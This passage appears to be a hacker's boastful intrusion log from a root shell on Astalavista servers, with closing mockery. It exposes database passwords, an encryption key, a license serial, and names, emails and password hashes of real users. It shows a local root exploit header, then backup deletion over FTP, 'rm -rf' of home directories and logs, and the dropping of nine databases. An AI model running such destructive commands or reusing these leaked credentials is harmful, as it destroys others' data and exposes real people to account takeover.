1426-rw------- 1 jon jon 79 Sep 21 2007 .bash_history
1427-rw-r--r-- 1 jon jon 24 Sep 15 2007 .bash_logout
1428-rw-r--r-- 1 jon jon 176 Sep 15 2007 .bash_profile
1429-rw-r--r-- 1 jon jon 124 Sep 15 2007 .bashrc
1430sh-3.2# cat .bash_history
1431/usr/bin/mysqladmin -u root password PoliuJhytg67
1432
1433sh-3.2# cd ..
1434sh-3.2# cd astanet
1435sh-3.2# ls -la
1436total 52
1437drwx--x--x 6 astanet astanet 4096 Jun 4 09:51 .
1438drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
1439drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
1440-rw------- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
1441-rw-r--r-- 1 astanet astanet 33 Dec 17 21:50 .bash_logout
1442-rw-r--r-- 1 astanet astanet 176 Dec 17 21:50 .bash_profile
1443-rw-r--r-- 1 astanet astanet 124 Dec 17 21:50 .bashrc
1444drwx--x--x 3 astanet astanet 4096 Dec 23 12:18 domains
1445drwxrwx--- 3 astanet mail 4096 Dec 23 12:18 imap
1446drwx------ 2 astanet astanet 4096 Dec 23 12:18 mail
1447-rw------- 1 astanet astanet 197 Jun 4 09:51 .mysql_history
1448lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
1449-rw-r----- 1 astanet mail 34 Dec 22 12:41 .shadow
1450
1451sh-3.2# cd auth/
1452sh-3.2# ls -la
1453total 28
1454drwxr-xr-x 2 root root 4096 Dec 23 16:00 .
1455drwx--x--x 6 astanet astanet 4096 Jun 4 09:51 ..
1456-rw-r--r-- 1 root root 321 Jan 5 2006 hackercontest.config.inc.php
1457-rw-r--r-- 1 root root 319 Jan 5 2006 hosting.config.inc.php
1458-rw-r--r-- 1 root root 24 Jun 4 09:38 .htadm_pwd
1459-rw-r--r-- 1 root root 49 Jan 5 2006 .htpasswd_newhosting
1460-rw-r--r-- 1 root root 51 Oct 11 2006 .htwebalizer_pwd
1461
1462sh-3.2# cat hackercontest.config.inc.php
1463<?PHP
1464// Variabeln f?r Verbindung zur Datenbank //
1465$conxHost = 'localhost'; // MySQL hostname
1466$conxUser = 'hackercontest'; // MySQL user
1467$conxPassword = 'K6m@7dUc'; // MySQL password
1468$bfkey = 'cXvB3981'; // Encryption/Decryption Key for Blowfish
1469?>
1470sh-3.2# cat hosting.config.inc.php
1471<?PHP
1472// Variabeln f?r Verbindung zur Datenbank //
1473$conxHost = 'localhost'; // MySQL hostname
1474$conxUser = 'hostinguser'; // MySQL user
1475$conxPassword = 'cXvB3981'; // MySQL password
1476$bfkey = 'cXvB3981'; // Encryption/Decryption Key for Blowfish
1477?>
1478
1479sh-3.2# cd ..
1480sh-3.2# cd com
1481sh-3.2# ls -la
1482total 141208
1483drwx--x--x 10 com com 4096 Apr 28 12:40 .
1484drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
1485drwx------ 2 com com 4096 Jun 4 04:04 backups
1486-rw-r--r-- 1 root root 2419504 Sep 28 2007 backup.sql
1487drwxr-xr-x 2 com com 4096 May 12 15:20 backup_system
1488-rw------- 1 com com 21880 Jun 2 08:07 .bash_history
1489-rw-r--r-- 1 com com 24 Sep 24 2007 .bash_logout
1490-rw-r--r-- 1 com com 176 Sep 24 2007 .bash_profile
1491-rw-r--r-- 1 com com 124 Sep 24 2007 .bashrc
1492drwx--x--x 3 com com 4096 Jan 29 2008 domains
1493-rw-r--r-- 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed
1494drwxrwx--- 3 com mail 4096 Jan 6 19:24 imap
1495-rw------- 1 com com 69 Nov 18 2008 .lesshst
1496drwx------ 2 com com 4096 Sep 24 2007 mail
1497-rw------- 1 com com 13970 Mar 28 21:42 .mysql_history
1498drwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp
1499lrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html
1500-rw-r----- 1 com mail 34 Sep 24 2007 .shadow
1501drwx------ 2 com com 4096 Aug 26 2008 .ssh
1502-rwx------ 1 com com 8515 Feb 10 2008 t
1503-rw-rw-r-- 1 com com 6265 Feb 11 2008 t.c
1504drwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp
1505-rw-rw-r-- 1 com com 617 May 20 2008 .toprc
1506-rw-rw-r-- 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql
1507-rw------- 1 com com 16629 Mar 28 21:46 .viminfo
1508-rw-rw-r-- 1 com com 51 Aug 25 2008 .vimrc
1509
1510sh-3.2# head t.c
1511/*
1512 * jessica_biel_naked_in_my_bed.c
1513 *
1514 * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
1515 * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
1516 * Stejnak je to stare jak cyp a aj jakesyk rozbite.
1517 *
1518 * Linux vmsplice Local Root Exploit
1519 * By qaaz
1520 *
1521
1522sh-3.2# cd /
1523sh-3.2# ls -la
1524total 360
1525drwxr-xr-x 25 root root 4096 Jun 3 02:43 .
1526drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
1527-rw------- 1 root root 10240 Jun 3 02:39 aquota.group
1528-rw------- 1 root root 10240 Jun 3 02:39 aquota.user
1529-rw-r----- 1 root root 819 Jul 17 2008 astalavista.us.db
1530-rw-r--r-- 1 root root 0 Jun 3 02:43 .autofsck
1531-rw-r--r-- 1 root root 0 Sep 16 2007 .autorelabel
1532drwxr-xr-x 3 root root 4096 Dec 29 2007 backup
1533drwxr-xr-x 2 root root 4096 Jun 4 04:03 bin
1534drwxr-xr-x 5 root root 4096 Jun 2 14:06 boot
1535drwxr-xr-x 11 root root 3620 Jun 3 02:43 dev
1536drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc
1537drwxr-xr-x 14 root root 4096 Mar 11 17:56 home
1538-rw-r--r-- 1 root root 13387 Mar 20 2008 httpd.conf
1539drwxr-xr-x 11 root root 4096 Jun 4 04:02 lib
1540drwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64
1541drwx------ 2 root root 16384 Sep 11 2007 lost+found
1542drwxr-xr-x 2 root root 4096 Mar 11 17:56 media
1543drwxr-xr-x 2 root root 0 Jun 3 02:43 misc
1544drwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt
1545-rw-r--r-- 1 root root 5859 Feb 3 2008 mrtg.cfg
1546drwxr-xr-x 2 root root 0 Jun 3 02:43 net
1547drwxr-xr-x 3 root root 4096 Mar 11 17:56 opt
1548dr-xr-xr-x 264 root root 0 Jun 3 02:42 proc
1549drwxr-x--- 15 root root 4096 Jun 4 08:40 root
1550drwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin
1551drwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux
1552drwxr-xr-x 2 root root 4096 Mar 11 17:56 srv
1553drwxr-xr-x 11 root root 0 Jun 3 02:42 sys
1554drwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp
1555drwxr-xr-x 16 root root 4096 Jun 2 13:56 usr
1556drwxr-xr-x 26 root root 4096 Jun 4 03:16 var
1557
1558sh-3.2# cd opt
1559sh-3.2# ls -la
1560total 20
1561drwxr-xr-x 3 root root 4096 Mar 11 17:56 .
1562drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
1563drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws
1564
1565sh-3.2# cd lsws/
1566sh-3.2# ls -la
1567total 108
1568drwxr-xr-x 15 root root 4096 Mar 20 2008 .
1569drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..
1570drwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons
1571drwxr-xr-x 13 root root 4096 May 29 15:10 admin
1572drwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate
1573drwxr-xr-x 2 root root 4096 May 29 15:10 bin
1574drwx------ 4 apache apache 4096 Jun 3 02:43 conf
1575drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT
1576drwxr-xr-x 2 root root 4096 Sep 15 2008 docs
1577drwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin
1578drwxr-xr-x 2 root root 4096 Sep 15 2008 lib
1579-rw-r--r-- 1 root root 6959 May 29 15:10 LICENSE
1580-rw-r--r-- 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP
1581-rw-r--r-- 1 root root 6279 May 29 15:10 LICENSE.OpenSSL
1582-rw-r--r-- 1 root root 3208 May 29 15:10 LICENSE.PHP
1583drwxr-xr-x 2 root root 20480 Jun 4 09:55 logs
1584drwxr-xr-x 2 root root 4096 Mar 20 2008 php
1585drwx------ 2 apache apache 4096 Mar 20 2008 phpbuild
1586drwxr-xr-x 3 root root 4096 Mar 20 2008 share
1587-rw-r--r-- 1 root root 6 May 29 15:10 VERSION
1588
1589sh-3.2# cd conf
1590sh-3.2# ls -la
1591total 48
1592drwx------ 4 apache apache 4096 Jun 3 02:43 .
1593drwxr-xr-x 15 root root 4096 Mar 20 2008 ..
1594drwx------ 2 apache apache 4096 Mar 20 2008 cert
1595-rw-r--r-- 1 apache apache 6668 May 29 15:13 httpd_config.xml
1596-rw------- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak
1597-rw-r--r-- 1 root apache 0 Jun 3 14:11 .last
1598-rw------- 1 apache apache 256 May 29 15:10 license.key
1599-rw------- 1 apache apache 256 Mar 21 2008 license.key.old
1600-rw------- 1 apache apache 3320 Mar 20 2008 mime.properties
1601-rw------- 1 apache apache 20 May 29 15:10 serial.no
1602drwx------ 2 apache apache 4096 Mar 20 2008 templates
1603
1604sh-3.2# cat serial.no
1605IbDl-oVsO-CKqL-wVRa
1606
1607sh-3.2# mysql
1608Welcome to the MySQL monitor. Commands end with ; or \g.
1609Your MySQL connection id is 286844
1610Server version: 5.0.45-community-log MySQL Community Edition (GPL)
1611
1612Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
1613
1614mysql> show databases;
1615+-----------------------+
1616| Database |
1617+-----------------------+
1618| information_schema |
1619| astanet_ads |
1620| astanet_mailing_lists |
1621| astanet_mediawiki |
1622| astanet_membersystem |
1623| com_contrexx |
1624| com_contrexx2 |
1625| com_contrexx2_live |
1626| da_roundcube |
1627| dolphin |
1628| ideapool |
1629| mysql |
1630| test |
1631| yourmaster |
1632+-----------------------+
163314 rows in set (0.00 sec)
1634
1635mysql> use ideapool
1636Database changed
1637mysql> show tables;
1638+-----------------------------------+
1639| Tables_in_ideapool |
1640+-----------------------------------+
1641| eventum_columns_to_display |
1642| eventum_custom_field |
1643| eventum_custom_field_option |
1644| eventum_custom_filter |
1645| eventum_customer_account_manager |
1646| eventum_customer_note |
1647| eventum_email_account |
1648| eventum_email_draft |
1649| eventum_email_draft_recipient |
1650| eventum_email_response |
1651| eventum_faq |
1652| eventum_faq_support_level |
1653| eventum_group |
1654| eventum_history_type |
1655| eventum_irc_notice |
1656| eventum_issue |
1657| eventum_issue_association |
1658| eventum_issue_attachment |
1659| eventum_issue_attachment_file |
1660| eventum_issue_checkin |
1661| eventum_issue_custom_field |
1662| eventum_issue_history |
1663| eventum_issue_quarantine |
1664| eventum_issue_requirement |
1665| eventum_issue_user |
1666| eventum_issue_user_replier |
1667| eventum_link_filter |
1668| eventum_mail_queue |
1669| eventum_mail_queue_log |
1670| eventum_news |
1671| eventum_note |
1672| eventum_phone_support |
1673| eventum_project |
1674| eventum_project_category |
1675| eventum_project_custom_field |
1676| eventum_project_email_response |
1677| eventum_project_field_display |
1678| eventum_project_group |
1679| eventum_project_link_filter |
1680| eventum_project_news |
1681| eventum_project_phone_category |
1682| eventum_project_priority |
1683| eventum_project_release |
1684| eventum_project_round_robin |
1685| eventum_project_status |
1686| eventum_project_status_date |
1687| eventum_project_user |
1688| eventum_reminder_action |
1689| eventum_reminder_action_list |
1690| eventum_reminder_action_type |
1691| eventum_reminder_field |
1692| eventum_reminder_history |
1693| eventum_reminder_level |
1694| eventum_reminder_level_condition |
1695| eventum_reminder_operator |
1696| eventum_reminder_priority |
1697| eventum_reminder_requirement |
1698| eventum_reminder_triggered_action |
1699| eventum_resolution |
1700| eventum_round_robin_user |
1701| eventum_search_profile |
1702| eventum_status |
1703| eventum_subscription |
1704| eventum_subscription_type |
1705| eventum_support_email |
1706| eventum_support_email_body |
1707| eventum_time_tracking |
1708| eventum_time_tracking_category |
1709| eventum_user |
1710+-----------------------------------+
171169 rows in set (0.00 sec)
1712
1713mysql> describe eventum_user;
1714+-------------------------+------------------+------+-----+---------------------+----------------+
1715| Field | Type | Null | Key | Default | Extra |
1716+-------------------------+------------------+------+-----+---------------------+----------------+
1717| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |
1718| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |
1719| usr_customer_id | int(11) unsigned | YES | | NULL | |
1720| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |
1721| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |
1722| usr_status | varchar(8) | NO | | active | |
1723| usr_password | varchar(32) | NO | | | |
1724| usr_full_name | varchar(255) | NO | | | |
1725| usr_email | varchar(255) | NO | UNI | | |
1726| usr_preferences | longtext | YES | | NULL | |
1727| usr_sms_email | varchar(255) | YES | | NULL | |
1728| usr_clocked_in | tinyint(1) | YES | | 0 | |
1729| usr_lang | varchar(5) | YES | | NULL | |
1730+-------------------------+------------------+------+-----+---------------------+----------------+
173113 rows in set (0.00 sec)
1732
1733mysql> select usr_full_name,usr_email,usr_password from eventum_user;
1734+----------------------+-------------------------------+----------------------------------+
1735| usr_full_name | usr_email | usr_password |
1736+----------------------+-------------------------------+----------------------------------+
1737| system | system-account@example.com | 14589714398751513457adf349173434 |
1738| Developer (Paulo) | paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |
1739| Be1er0ph0r | be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |
1740| Admin | pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
1741| ADMIN | admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |
1742| USER | user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |
1743| Glafkos - (nowayout) | glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |
1744| Joao | joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |
1745| Pascal | pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |
1746| commander | commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |
1747| ishtus | ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |
1748| sykadul | sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |
1749| Zach McElroy | admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |
1750| usb | usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |
1751| cyph3r | cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |
1752+----------------------+-------------------------------+----------------------------------+
175315 rows in set (0.00 sec)
1754
1755mysql> select iss_description from eventum_issue where iss_id = 43;
1756+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1757| iss_description
1758|
1759+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1760| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in... how to do that? well think about it... if a user is watching a movie... he'll be
1761connected for 90 mins... 120mins... so what i propose is something like:
1762http://www.surfthechannel.com/
1763since they only provide LINKS to the movies they are LEGAL and don't break DMCA rules... so we could do the same... "iframe" the content on our website or use a system
1764like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed... which doesn't
1765break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
1766if they think it breaks copyright laws and we will remove it... i think that makes it on the border of DMCA...
1767
1768We could also put advertisement during play on the flash video player itself... extra $$...
1769
1770By sykadul |
1771+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
17721 row in set (0.00 sec)
1773
1774// Money and extra $$ is all they care about. remember that.
1775
1776mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
1777+------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1778| iss_summary | iss_description
1779|
1780+------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1781| Forum for REAL EXPERTS | Hello,
1782
1783 Ishtus and I,
1784
1785 Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide
1786ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..
1787
1788 One example a friend of mine from coresecurity.com!
1789
1790 We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..
1791
1792|
1793+------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
17941 row in set (0.00 sec)
1795
1796// What an awesome yet original idea Ishtus and him... bring MORE security "experts", thats exactly what the world needs...
1797
1798mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;
1799+------------------+---------------------------------------------------------------------------------------------+
1800| iss_summary | iss_description |
1801+------------------+---------------------------------------------------------------------------------------------+
1802| Website guidance | Virtual Girl which guides you trought the website.
1803
1804 We need a girl with who you can ( talk )!!!
1805 Also for the News!
1806 So my suggestion is a girl who read you the news loud if you like!
1807 you can choose between read yourselfe or she read it for you or both!
1808
1809 Go to www.heise.de! There is an example for Voice News! It's a good thing!!!
1810
1811 Have a look on the example girls!!
1812
1813 http://www.yaoti.com/de/free_yaoti.html
1814
1815 or that
1816
1817 http://www.yellostrom.de/
1818
1819|
1820+------------------+---------------------------------------------------------------------------------------------+
18211 row in set (0.00 sec)
1822
1823// ha ha.
1824
1825mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;
1826+--------------------------+-----------------------------------------------------------------------------------------------------------+
1827| iss_summary | iss_description |
1828+--------------------------+-----------------------------------------------------------------------------------------------------------+
1829| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |
1830+--------------------------+-----------------------------------------------------------------------------------------------------------+
18311 row in set (0.00 sec)
1832
1833// LOL.
1834
1835mysql> exit
1836Bye
1837
1838
1839sh-3.2# ftp 212.254.194.163
1840Connected to 212.254.194.163.
1841220 BackupCOM_VW FTP server ready.
1842504 AUTH: security mechanism 'GSSAPI' not supported.
1843504 AUTH: security mechanism 'KERBEROS_V4' not supported.
1844KERBEROS_V4 rejected as an authentication type
1845Name (212.254.194.163:root): astalavista.com
1846331 Password required for astalavista.com.
1847Password:
1848230 User astalavista.com logged in.
1849Remote system type is UNIX.
1850Using binary mode to transfer files.
1851ftp> ls -la
1852227 Entering Passive Mode (212,254,194,163,2,188)
1853150 Opening BINARY mode data connection for 'file list'.
1854dr-x------ 1 root users 4096 Jun 4 06:13 astalavista.com
1855226 Transfer complete.
1856ftp> cd astalavista.com
1857250 CWD command successful.
1858ftp> ls -la
1859227 Entering Passive Mode (212,254,194,163,2,189)
1860150 Opening BINARY mode data connection for 'file list'.
1861-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar
1862-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
1863-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
1864-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar
1865-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar
1866[snip]
1867226 Transfer complete.
1868ftp> mdelete *
1869ftp> ls -la
1870227 Entering Passive Mode (212,254,194,163,2,193)
1871150 Opening BINARY mode data connection for 'file list'.
1872226 Transfer complete.
1873ftp>
1874
1875sh-3.2# cd /home
1876sh-3.2# ls -la
1877total 120
1878drwxr-xr-x 14 root root 4096 Mar 11 17:56 .
1879drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
1880drwx--x--x 9 admin admin 4096 Nov 28 2007 admin
1881-rw------- 1 root root 8192 Jun 4 03:03 aquota.group
1882-rw------- 1 root root 8192 Jun 3 02:45 aquota.user
1883drwx--x--x 6 astanet astanet 4096 Jun 4 09:51 astanet
1884drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
1885drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
1886drwx--x--x 10 com com 4096 Apr 28 12:40 com
1887drwxr-xr-x 2 root root 4096 May 17 2007 ftp
1888drwx------ 3 jon jon 4096 Sep 21 2007 jon
1889drwx------ 2 root root 16384 Sep 11 2007 lost+found
1890drwxr-xr-x 2 root root 4096 Sep 14 2007 my
1891drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
1892drwx------ 2 jon jon 4096 Sep 15 2007 test
1893drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
1894
1895sh-3.2# rm -rf backup/
1896sh-3.2# rm -rf backup.14161/
1897sh-3.2# rm -rf ftp/
1898sh-3.2# rm -rf jon/
1899sh-3.2# rm -rf my/
1900sh-3.2# rm -rf mysqldata/
1901sh-3.2# rm -rf test/
1902sh-3.2# rm -rf tmp/
1903sh-3.2# cd ~
1904sh-3.2# rm -rf *
1905sh-3.2# rm -rf /var/log/
1906rm: cannot remove directory `/var/log//proftpd': Directory not empty
1907sh-3.2# rm -rf /home/*
1908sh-3.2# mysql
1909Welcome to the MySQL monitor. Commands end with ; or \g.
1910Your MySQL connection id is 407156
1911Server version: 5.0.45-community-log MySQL Community Edition (GPL)
1912
1913Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
1914
1915mysql> show databases;
1916+-----------------------+
1917| Database |
1918+-----------------------+
1919| information_schema |
1920| astanet_ads |
1921| astanet_mailing_lists |
1922| astanet_mediawiki |
1923| astanet_membersystem |
1924| com_contrexx |
1925| com_contrexx2 |
1926| com_contrexx2_live |
1927| da_roundcube |
1928| dolphin |
1929| ideapool |
1930| mysql |
1931| test |
1932| yourmaster |
1933+-----------------------+
193414 rows in set (0.03 sec)
1935
1936mysql> drop database astanet_membersystem;
1937droQuery OK, 46 rows affected (0.81 sec)
1938
1939mysql> drop database com_contrexx;
1940Query OK, 211 rows affected (2.72 sec)
1941
1942mysql> drop database com_contrexx2;
1943Query OK, 237 rows affected (2.23 sec)
1944
1945mysql> drop database com_contrexx2_live;
1946Query OK, 227 rows affected (7.63 sec)
1947
1948mysql> drop database ideapool;
1949Query OK, 69 rows affected (0.19 sec)
1950
1951mysql> drop database yourmaster;
1952Query OK, 158 rows affected (0.55 sec)
1953
1954mysql> drop database astanet_ads;
1955Query OK, 9 rows affected (0.11 sec)
1956
1957mysql> drop database astanet_mailing_lists;
1958Query OK, 24 rows affected (1.47 sec)
1959
1960mysql> drop database astanet_mediawiki;
1961Query OK, 31 rows affected (0.51 sec)
1962
1963mysql> show databases;
1964+--------------------+
1965| Database |
1966+--------------------+
1967| information_schema |
1968| da_roundcube |
1969| dolphin |
1970| mysql |
1971| test |
1972+--------------------+
19735 rows in set (0.00 sec)
1974
1975
1976
1977
1978
1979
1980What a journey! We're not sure exactly why the "Terminator" had any influence on
1981their naming (conventions) but we're sure Arnold himself wouldn't be in the
1982wrong to say this pack of morons *wont be back*.